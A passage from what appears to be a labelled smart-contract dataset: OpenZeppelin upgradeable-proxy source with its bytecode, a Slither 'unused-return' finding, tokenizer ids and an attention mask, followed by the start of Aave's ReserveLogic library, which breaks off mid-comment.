NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol) pragma solidity ^0.8.0; import "Proxy.sol"; import "ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "IBeacon.sol"; import "Address.sol"; import "StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106d6565b610118565b61005b6100933660046106f0565b61015f565b3480156100a457600080fd5b506100ad6101d0565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106d6565b61020b565b3480156100f557600080fd5b506100ad610235565b610106610292565b610116610111610331565b61033b565b565b61012061035f565b6001600160a01b0316336001600160a01b031614156101575761015481604051806020016040528060008152506000610392565b50565b6101546100fe565b61016761035f565b6001600160a01b0316336001600160a01b031614156101c8576101c38383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610392915050565b505050565b6101c36100fe565b60006101da61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb610331565b905090565b6102086100fe565b90565b61021361035f565b6001600160a01b0316336001600160a01b0316141561015757610154816103bd565b600061023f61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb61035f565b606061028583836040518060600160405280602781526020016107ea60279139610411565b9392505050565b3b151590565b61029a61035f565b6001600160a01b0316336001600160a01b031614156101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101fb6104e5565b3660008037600080366000845af43d6000803e80801561035a573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61039b8361050d565b6000825111806103a85750805b156101c3576103b78383610260565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103e661035f565b604080516001600160a01b03928316815291841660208301520160405180910390a16101548161054d565b6060833b6104705760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610328565b600080856001600160a01b03168560405161048b919061076e565b600060405180830381855af49150503d80600081146104c6576040519150601f19603f3d011682016040523d82523d6000602084013e6104cb565b606091505b50915091506104db8282866105f6565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610383565b6105168161062f565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6001600160a01b0381166105b25760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610328565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b60608315610605575081610285565b8251156106155782518084602001fd5b8160405162461bcd60e51b8152600401610328919061078a565b803b6106935760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610328565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6105d5565b80356001600160a01b03811681146106d157600080fd5b919050565b6000602082840312156106e7578081fd5b610285826106ba565b600080600060408486031215610704578182fd5b61070d846106ba565b9250602084013567ffffffffffffffff80821115610729578384fd5b818601915086601f83011261073c578384fd5b81358181111561074a578485fd5b87602082850101111561075b578485fd5b6020830194508093505050509250925092565b600082516107808184602087016107bd565b9190910192915050565b60208152600082518060208401526107a98160408501602087016107bd565b601f01601f19169190910160400192915050565b60005b838110156107d85781810151838201526020016107c0565b838111156103b7575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122002b75d230db5f5c2c1cb69e7e78c23abf3270d6744c9c52914d788af4a9d6d3c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2581, 11387, 2509, 2063, 2620, 2683, 16409, 2094, 22022, 27531, 12521, 12740, 2497, 23499, 16147, 2094, 26224, 8889, 2094, 2509, 2063, 12376, 2575, 2683, 2546, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 24540, 1013, 13338, 1013, 13338, 6279, 24170, 3085, 21572, 18037, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 9413, 2278, 16147, 2575, 2581, 21572, 18037, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 3206, 22164, 1037, 24540, 2008, 2003, 12200, 3085, 2011, 2019, 4748, 10020, 1012, 1008, 1008, 2000, 4468, 16770, 1024, 1013, 1013, 5396, 1012, 4012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,808
0x97685795B76935eEAfdc9cD67f04F57D869D6ca5
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {MathUtils} from '../math/MathUtils.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements the logic to update the reserves state */ library ReserveLogic { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; /** * @dev Emitted when the state of a reserve is updated * @param asset The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed asset, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Returns the ongoing normalized income for the reserve * A value of 1e27 means there is no income. As time passes, the income is accrued * A value of 2*1e27 means for each unit of asset one unit of income has been accrued * @param reserve The reserve object * @return the normalized income. expressed in ray **/ function getNormalizedIncome(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.liquidityIndex; } uint256 cumulated = MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( reserve.liquidityIndex ); return cumulated; } /** * @dev Returns the ongoing normalized variable debt for the reserve * A value of 1e27 means there is no debt. As time passes, the income is accrued * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated * @param reserve The reserve object * @return The normalized variable debt. expressed in ray **/ function getNormalizedDebt(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.variableBorrowIndex; } uint256 cumulated = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul( reserve.variableBorrowIndex ); return cumulated; } /** * @dev Updates the liquidity cumulative index and the variable borrow index. * @param reserve the reserve object **/ function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); } /** * @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate * the flashloan fee to the reserve, and spread it between all the depositors * @param reserve The reserve object * @param totalLiquidity The total liquidity available in the reserve * @param amount The amount to accomulate **/ function cumulateToLiquidityIndex( DataTypes.ReserveData storage reserve, uint256 totalLiquidity, uint256 amount ) internal { uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay()); uint256 result = amountToLiquidityRatio.add(WadRayMath.ray()); result = result.rayMul(reserve.liquidityIndex); require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(result); } /** * @dev Initializes a reserve * @param reserve The reserve object * @param aTokenAddress The address of the overlying atoken contract * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function init( DataTypes.ReserveData storage reserve, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress ) external { require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED); reserve.liquidityIndex = uint128(WadRayMath.ray()); reserve.variableBorrowIndex = uint128(WadRayMath.ray()); reserve.aTokenAddress = aTokenAddress; reserve.stableDebtTokenAddress = stableDebtTokenAddress; reserve.variableDebtTokenAddress = variableDebtTokenAddress; reserve.interestRateStrategyAddress = interestRateStrategyAddress; } struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; } /** * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate * @param reserve The address of the reserve to be updated * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow) **/ function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, aTokenAddress, liquidityAdded, liquidityTaken, vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); } struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; } /** * @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the * 